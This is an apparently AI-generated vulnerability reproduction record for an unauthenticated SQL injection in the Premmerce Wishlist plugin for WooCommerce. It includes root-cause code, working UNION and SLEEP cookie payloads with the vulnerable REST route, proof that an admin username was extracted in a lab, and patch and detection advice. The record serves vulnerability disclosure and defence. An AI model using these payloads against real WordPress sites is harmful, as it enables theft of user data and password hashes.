{"repro_id":"REPRO-2026-00251","version":6,"title":"Premmerce Wishlist for WooCommerce unauthenticated SQL injection","repro_type":"security","status":"published","severity":"critical","description":"Unauthenticated SQL injection exists in Premmerce Wishlist for WooCommerce <= 1.1.11. Reproduce: install WordPress with the vulnerable plugin, send an unauthenticated request containing a SQL injection payload in the affected parameter, and observe database error or extract data.","root_cause":"# RCA Report — CVE-2026-54849\n\n## Summary\n\nUnauthenticated SQL injection exists in the **Premmerce Wishlist for WooCommerce**\nWordPress plugin (versions `<= 1.1.11`). The plugin persists a visitor's wishlist\n\"keys\" in a browser cookie named `premmerce_wishlist` (a JSON array). On every\nunauthenticated request to the wishlist functionality, the plugin reads that\ncookie, decodes it, and feeds the attacker-controlled keys directly into a SQL\n`IN (...)` query built by **string concatenation** (`implode('\", \"', $keys)`).\nBecause the keys are never validated or escaped before being interpolated, an\nunauthenticated attacker can break out of the double-quoted literal and inject\narbitrary SQL. The injection is reachable through an unauthenticated REST API\nendpoint (`/?rest_route=/premmerce/wishlist/add/popup`, registered with\n`permission_callback => __return_true`), so no WordPress login is required.\n\n## Impact\n\n- **Package/component affected:** `premmerce-woocommerce-wishlist` (Premmerce Wishlist\n  for WooCommerce). Vulnerable component: `src/WishlistStorage.php::cookieGet()` +\n  `src/Models/WishlistModel.php::getWishlistsByKeys()` / `getDefaultWishlistByKeys()`.\n- **Affected versions:** `<= 1.1.11`. Patched in `1.1.12`\n  (changelog: *\"Security: SQL injection fix in wishlist cookie handling\"*).\n- **Risk level:** Critical (Patchstack CVSS 9.3, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L).\n- **Consequences:** An unauthenticated remote attacker can interact with the\n  WordPress database via SQL injection — e.g. exfiltrate data from any table\n  (demonstrated below by extracting the admin `user_login` from `wp_users` via a\n  `UNION SELECT`) and perform time-based blind inference. This can lead to full\n  disclosure of the WordPress database (users, password hashes, sessions, etc.).\n\n## Impact Parity\n\n- **Disclosed/claimed maximum impact:** Unauthenticated SQL injection allowing\n  interaction with the database, including data extraction (CVSS 9.3, C:H).\n- **Reproduced impact from this run:** Unauthenticated SQL injection proven on the\n  real product through two independent techniques:\n  1. **Time-based blind SQLi** — a `SLEEP(5)` payload delayed the unauthenticated\n     REST response by ~5.2–6.1s on the vulnerable build (vs ~0.1s on the fixed build).\n  2. **UNION-based data extraction** — a `UNION SELECT` payload leaked the WordPress\n     admin `user_login` (`sqliadmin`) into the unauthenticated REST response body on\n     the vulnerable build (1 occurrence in the response), with no leak on the fixed build.\n- **Parity:** `full`. The claimed unauthenticated SQL injection (data extraction) was\n  reproduced end-to-end against the real product on the claimed `api_remote` surface.\n- **Not demonstrated:** This proof stops at database read/extraction (consistent with\n  the disclosed C:H impact). It does not demonstrate writing to the database or code\n  execution, which are not claimed by the advisory.\n\n## Root Cause\n\nThe cookie value is trusted all the way into the SQL query without validation or\nparameterization.\n\nVulnerable `src/WishlistStorage.php::cookieGet()` (1.1.11):\n```php\npublic function cookieGet()\n{\n    if ($this->cookieIsSet()) {\n        $data = json_decode(stripslashes($_COOKIE[self::COOKIE_NAME]));\n        return $data ? $data : array();   // <-- no validation of $data entries\n    }\n    return array();\n}\n```\n(`COOKIE_NAME = 'premmerce_wishlist'`. `stripslashes` undoes the `addslashes` that\nWordPress applies to `$_COOKIE` via `wp_magic_quotes()` on every request, so\n`json_decode` effectively receives the raw, URL-decoded cookie value unchanged.)\n\nVulnerable `src/Models/WishlistModel.php::getWishlistsByKeys()` (1.1.11):\n```php\npublic function getWishlistsByKeys($keys)\n{\n    if ($keys && is_array($keys)) {\n        $sql = vsprintf(\n            \"SELECT * FROM `%s` WHERE `wishlist_key` IN (%s);\",\n            array(\n                $this->tblWishlist,\n                '\"' . implode('\", \"', $keys) . '\"'   // <-- direct concatenation\n            )\n        );\n        return $this->getWishlistsBySql($sql);\n    }\n}\n```\nThe attacker-controlled `$keys` are placed inside the `IN (\"...\")` list with only a\ndouble-quote wrapper. A key containing `x\") UNION SELECT ...` closes the quote and\ninjects SQL. The same concatenation pattern exists in `getDefaultWishlistByKeys()`,\n`setUserToWishlistsByKeys()`, `deleteWishlists()`, `getWishlistsByProductId()`, and\nthe `where_in` branch of `getWishlists()`.\n\n**Reachability (unauthenticated):** `src/RestApi/RestApi.php` registers\n`register_rest_route('premmerce/wishlist', '/add/popup', ... 'permission_callback' => '__return_true')`.\nIts callback `wishlistAddPopupRest()` → `wishlistAddPopup()` → `getWishlistsAll()`:\n```php\npublic function getWishlistsAll() {\n    if (is_user_logged_in()) { ... }\n    else { if ($this->storage->cookieIsSet()) {\n        $wishlistAll = $this->model->getWishlistsByKeys($this->storage->cookieGet()); // <-- SQLi\n    } }\n    return $wishlistAll;\n}\n```\nSo an unauthenticated visitor supplying a crafted `premmerce_wishlist` cookie reaches\nthe vulnerable query. (WooCommerce must be active for the plugin's REST/frontend to\nregister, via `WishlistPlugin::run()` / `validateRequiredPlugins()`.)\n\n**Fix (1.1.12):** `cookieGet()` now validates each key with\n`preg_match('/^[a-zA-Z0-9]{1,13}$/', $key)` (rejecting anything containing quotes,\nspaces, SQL metacharacters) and the SQL builders were converted to `$wpdb->prepare()`\nwith `%s` placeholders and an `allowed_columns` allow-list for `where_in`. The fix\ndiff (`src/WishlistStorage.php` + `src/Models/WishlistModel.php`) is the authoritative\npatch.\n\n### Injected SQL (this reproduction)\n\nThe crafted cookie URL-decodes to the JSON value\n`[\"x\\\") UNION SELECT SLEEP(5),2,3,4,5,6,7,8-- \"]` (the embedded `\"` is JSON-escaped\nas `\\\"`). After `json_decode`, the key is `x\") UNION SELECT SLEEP(5),2,3,4,5,6,7,8-- `,\nwhich is concatenated into:\n```sql\nSELECT * FROM `wp_premmerce_wishlist` WHERE `wishlist_key` IN (\"x\") UNION SELECT SLEEP(5),2,3,4,5,6,7,8-- \");\n```\nThe `wp_premmerce_wishlist` table has 8 columns (`ID, user_id, name, wishlist_key,\nproducts, date_created, date_modified, default`), so the `UNION SELECT` supplies 8\ncolumns. The data-extraction variant\n`[\"x\\\") UNION SELECT 1,2,user_login,4,5,6,7,8 FROM wp_users-- \"]` places\n`wp_users.user_login` into the `name` column, which the wishlist popup template\nrenders — leaking the admin username into the unauthenticated response.\n\n## Reproduction Steps\n\n1. **Script:** `bundle/repro/reproduction_steps.sh` (self-contained; run twice,\n   both pass with exit 0).\n2. **What it does:**\n   - Deploys a real stack in Docker: `mariadb:11.4` + `wordpress:6.7.2-php8.2-apache`,\n     installs WordPress (admin `sqliadmin`), activates WooCommerce 8.9.3, and\n     installs+activates Premmerce Wishlist **1.1.11 (vulnerable)** from the local zip.\n   - Sends an **unauthenticated** HTTP GET (from a separate client container on the\n     Docker network, hitting the WordPress service by container name) to\n     `/?rest_route=/premmerce/wishlist/add/popup` with the crafted `premmerce_wishlist`\n     cookie. Two techniques, two attempts each:\n     - **SLEEP payload** — measures response time (expect ~5s on vulnerable).\n     - **UNION payload** — greps the response body for the admin `user_login`\n       (expect a leak on vulnerable).\n   - Swaps to the **fixed 1.1.12** build and repeats the same two techniques as a\n     negative control (expect no sleep, no leak).\n   - Writes `bundle/repro/runtime_manifest.json` and exits 0 only if all four\n     criteria hold (vuln sleeps + leaks; fixed does neither).\n3. **Expected evidence of reproduction:**\n   - Vulnerable `SLEEP` response times ≈ 5.2–6.1s; fixed ≈ 0.07–0.13s.\n   - Vulnerable `UNION` response bodies contain `sqliadmin`; fixed bodies do not.\n   - `bundle/repro/runtime_manifest.json` with `confirmation_status: \"confirmed\"`.\n\n## Evidence\n\n- **Main log:** `bundle/logs/reproduction_steps.log` (full script output, both runs).\n- **Runtime manifest:** `bundle/repro/runtime_manifest.json` (valid JSON).\n- **Response bodies:** `bundle/repro/artifacts/vuln_sleep_{1,2}.body`,\n  `vuln_union_{1,2}.body`, `fixed_sleep_{1,2}.body`, `fixed_union_{1,2}.body`.\n- **Plugin source (vulnerable + fixed, for diff):** `bundle/artifacts/premmerce-1.1.11.zip`,\n  `bundle/artifacts/premmerce-1.1.12.zip`.\n\nKey excerpt — **UNION data extraction on vulnerable 1.1.11** (admin username leaked\ninto the unauthenticated REST response, inside the wishlist-name span):\n```\n$ grep -o '.\\{0,40\\}sqliadmin.\\{0,40\\}' bundle/repro/artifacts/vuln_union_1.body\nx-title\\\">\\\\n                                                sqliadmin                                            <\\/span>\n$ grep -c sqliadmin bundle/repro/artifacts/vuln_union_1.body   -> 1\n$ grep -c sqliadmin bundle/repro/artifacts/fixed_union_1.body  -> 0\n```\n\nKey excerpt — **time-based blind SQLi divergence** (from `runtime_manifest.json`):\n```\nvulnerable_sleep_seconds:  [5.197395, 6.098308]   # SLEEP(5) fired\nfixed_sleep_seconds:       [0.121983, 0.076013]   # no sleep (regex filtered the key)\nvulnerable_union_leak_counts: [1, 1]              # admin user_login leaked\nfixed_union_leak_counts:      [0, 0]              # no leak\n```\n\n**Environment:** Docker `mariadb:11.4` + `wordpress:6.7.2-php8.2-apache` (PHP 8.2.28),\nWooCommerce 8.9.3, Premmerce Wishlist 1.1.11 (vulnerable) / 1.1.12 (fixed),\nWordPress table prefix `wp_`, admin `sqliadmin`. The unauthenticated HTTP requests\nare issued by a separate container on the Docker bridge network to the WordPress\nservice by container name (`http://premmerce-wp/...`); response bodies are retrieved\nvia `docker create` + `docker cp` (host bind-mounts and published ports are not\nvisible from this shell because the Docker daemon runs in a separate namespace).\n\n## Recommendations / Next Steps\n\n- **Upgrade** Premmerce Wishlist for WooCommerce to **>= 1.1.12** immediately.\n- **Long-term:** the plugin should use `$wpdb->prepare()` with placeholders for *all*\n  dynamic SQL (several other builders in `WishlistModel.php` were also concatenating\n  user-influenced values and were patched in 1.1.12) and treat cookie data as\n  untrusted, validating structure/types before use.\n- **Testing:** add automated tests that feed malicious cookie values\n  (quotes, UNION, SLEEP, semicolons) and assert no SQL injection / no error / no\n  data leak. Consider enabling a WAF rule for the `premmerce_wishlist` cookie.\n- **Detection:** review access logs for `premmerce_wishlist` cookie values containing\n  `UNION`, `SLEEP`, `--`, `\"`, or `)` as indicators of attempted exploitation.\n\n## Additional Notes\n\n- **Idempotency:** the script tears down and rebuilds the whole stack on every run,\n  so it can be executed repeatedly with deterministic results. Verified by two\n  consecutive runs (both exit 0, both `confirmed`).\n- **Surface match:** the claimed surface is `api_remote` (unauthenticated HTTP request\n  to the plugin endpoint); the proof uses a real unauthenticated HTTP request to the\n  plugin's REST endpoint — `validated_surface = api_remote`.\n- **Scope/impact:** this is a data-extraction SQL injection (read). The proof does not\n  demonstrate DB writes or RCE, which are outside the disclosed impact.\n- **Sanitizer:** no sanitizer is used; the proof is a plain non-sanitized product run\n  (real Apache + WordPress + MariaDB), and the oracle is response timing + response\n  content, not ASAN/UBSAN.\n","cve_id":"CVE-2026-54849","cwe_id":"CWE-89 SQL Injection","source_url":"wordpress.org/plugins/premmerce-woocommerce-wishlist","reproduced_at":"2026-07-06T09:01:34.837361+00:00","duration_secs":1646.0,"tool_calls":177,"handoffs":2,"total_cost_usd":3.2310787700000008,"agent_costs":{"judge":0.01184975,"repro":1.90228569,"support":0.31160898000000004,"vuln_variant":1.0053343499999998},"cost_breakdown":{"judge":{"gpt-5.4-mini":0.01184975},"repro":{"accounts/fireworks/routers/glm-5p2-fast":1.90228569},"support":{"accounts/fireworks/routers/glm-5p2-fast":0.31160898000000004},"vuln_variant":{"accounts/fireworks/routers/glm-5p2-fast":1.0053343499999998}},"quality":{"confidence":"high","idempotent_verified":false,"community_verifications":0},"environment":{"sandbox_image":"ghcr.io/n3mes1s/pruva-sandbox@sha256:8096b2518d6022e13d68f885c3b8ded6b4fe607098b1a1ccbfb99abc004d1dc1"},"published_at":"2026-07-06T09:02:08.860588+00:00","retracted":false,"artifacts":[{"path":"bundle/repro/reproduction_steps.sh","filename":"reproduction_steps.sh","size":13914,"category":"reproduction_script"},{"path":"bundle/repro/rca_report.md","filename":"rca_report.md","size":11484,"category":"analysis"},{"path":"bundle/vuln_variant/reproduction_steps.sh","filename":"reproduction_steps.sh","size":19427,"category":"reproduction_script"},{"path":"bundle/vuln_variant/rca_report.md","filename":"rca_report.md","size":14730,"category":"analysis"},{"path":"bundle/artifact_promotion_manifest.json","filename":"artifact_promotion_manifest.json","size":16469,"category":"other"},{"path":"bundle/logs/vuln_variant_reproduction.log","filename":"vuln_variant_reproduction.log","size":10317,"category":"log"},{"path":"bundle/vuln_variant/source_identity.json","filename":"source_identity.json","size":3038,"category":"other"},{"path":"bundle/vuln_variant/root_cause_equivalence.json","filename":"root_cause_equivalence.json","size":3467,"category":"other"},{"path":"bundle/repro/validation_verdict.json","filename":"validation_verdict.json","size":1039,"category":"other"},{"path":"bundle/repro/runtime_manifest.json","filename":"runtime_manifest.json","size":1283,"category":"other"},{"path":"bundle/repro/artifacts/vuln_union_1.body","filename":"vuln_union_1.body","size":4682,"category":"other"},{"path":"bundle/repro/artifacts/fixed_union_1.body","filename":"fixed_union_1.body","size":4152,"category":"other"},{"path":"bundle/repro/artifacts/vuln_sleep_1.body","filename":"vuln_sleep_1.body","size":4674,"category":"other"},{"path":"bundle/repro/artifacts/fixed_sleep_1.body","filename":"fixed_sleep_1.body","size":4152,"category":"other"},{"path":"bundle/logs/reproduction_steps.log","filename":"reproduction_steps.log","size":6306,"category":"log"},{"path":"bundle/repro/artifacts/fixed_sleep_2.body","filename":"fixed_sleep_2.body","size":4152,"category":"other"},{"path":"bundle/repro/artifacts/fixed_union_2.body","filename":"fixed_union_2.body","size":4152,"category":"other"},{"path":"bundle/repro/artifacts/vuln_sleep_2.body","filename":"vuln_sleep_2.body","size":4674,"category":"other"},{"path":"bundle/repro/artifacts/vuln_union_2.body","filename":"vuln_union_2.body","size":4682,"category":"other"},{"path":"bundle/vuln_variant/runtime_manifest.json","filename":"runtime_manifest.json","size":2373,"category":"other"},{"path":"bundle/vuln_variant/validation_verdict.json","filename":"validation_verdict.json","size":2066,"category":"other"},{"path":"bundle/vuln_variant/artifacts/c1_vuln.body","filename":"c1_vuln.body","size":4430,"category":"other"},{"path":"bundle/vuln_variant/artifacts/c1_fixed.body","filename":"c1_fixed.body","size":3918,"category":"other"},{"path":"bundle/vuln_variant/artifacts/c3_vuln.body","filename":"c3_vuln.body","size":52484,"category":"other"},{"path":"bundle/vuln_variant/artifacts/c3_fixed.body","filename":"c3_fixed.body","size":50857,"category":"other"},{"path":"bundle/vuln_variant/patch_analysis.md","filename":"patch_analysis.md","size":9539,"category":"documentation"},{"path":"bundle/vuln_variant/variant_manifest.json","filename":"variant_manifest.json","size":6799,"category":"other"},{"path":"bundle/vuln_variant/artifacts/c0_fixed.body","filename":"c0_fixed.body","size":4152,"category":"other"},{"path":"bundle/vuln_variant/artifacts/c0_latest.body","filename":"c0_latest.body","size":4152,"category":"other"},{"path":"bundle/vuln_variant/artifacts/c0_vuln.body","filename":"c0_vuln.body","size":4674,"category":"other"},{"path":"bundle/vuln_variant/artifacts/c1_latest.body","filename":"c1_latest.body","size":3918,"category":"other"},{"path":"bundle/vuln_variant/artifacts/c2_fixed.body","filename":"c2_fixed.body","size":0,"category":"other"},{"path":"bundle/vuln_variant/artifacts/c2_latest.body","filename":"c2_latest.body","size":0,"category":"other"},{"path":"bundle/vuln_variant/artifacts/c2_vuln.body","filename":"c2_vuln.body","size":0,"category":"other"},{"path":"bundle/vuln_variant/artifacts/c3_latest.body","filename":"c3_latest.body","size":50857,"category":"other"}]}